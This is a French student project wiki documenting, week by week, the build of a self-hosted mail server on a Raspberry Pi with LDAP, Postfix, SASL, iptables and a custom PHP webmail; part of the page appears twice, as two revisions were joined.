De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : ''en cours''
* Création d'une fonction permettant de lister les groupes existants : ''en cours''
* Création d'une fonction permettant de créer/supprimer un groupe : ''en cours''

===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)

P9 Système d'hébergement domestique

2016-02-10T09:17:09Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

